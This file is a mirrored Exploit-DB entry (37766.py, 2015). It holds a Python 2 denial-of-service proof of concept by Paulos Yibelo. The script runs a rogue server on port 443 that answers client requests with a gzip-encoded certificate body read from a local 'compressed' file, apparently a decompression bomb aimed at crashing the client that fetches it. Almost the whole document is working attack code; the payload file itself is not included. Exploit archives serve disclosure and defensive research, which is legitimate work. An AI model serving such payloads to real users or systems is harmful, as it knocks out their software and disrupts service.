exploit-db-mirror/platforms/multiple/dos/37766.py
Offensive Security cbdd64e888 DB: 2015-08-16
21 new exploits
2015-08-16 05:02:57 +00:00

49 lines
1.2 KiB
Python
Executable file

#! /usr/bin/python2
import socket
import sys
import time
kHost = '127.0.0.1'
kPort = 443
def bind_listen():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
s.bind((kHost, kPort))
s.listen(1)
return s
def send_certificate(c, r):
print '[*] sending certificate'
payload = ''
with open('compressed', 'rb') as tmp:
payload = tmp.read()
c.send('HTTP/1.1 200 OK\r\n')
c.send('Content-Type: application/x-x509-user-cert\r\n')
c.send('Content-Encoding: gzip\r\n')
c.send('Content-Length: {}\r\n'.format(len(payload)))
c.send('\r\n')
c.send(payload)
def main():
print '[*] listening for connection on port {}:{}'.format(kHost, kPort)
s = bind_listen()
while True:
c, (host, port) = s.accept()
print '[*] connection from {}:{}'.format(host, port)
while True:
r = c.recv(1024)
if 'favicon' in r:
c.send('HTTP/1.1 404 Not Found\r\n\r\n')
else:
send_certificate(c, r)
time.sleep(20)
sys.exit(0)
if __name__ == '__main__':
main()
Thanks,
Paulos Yibelo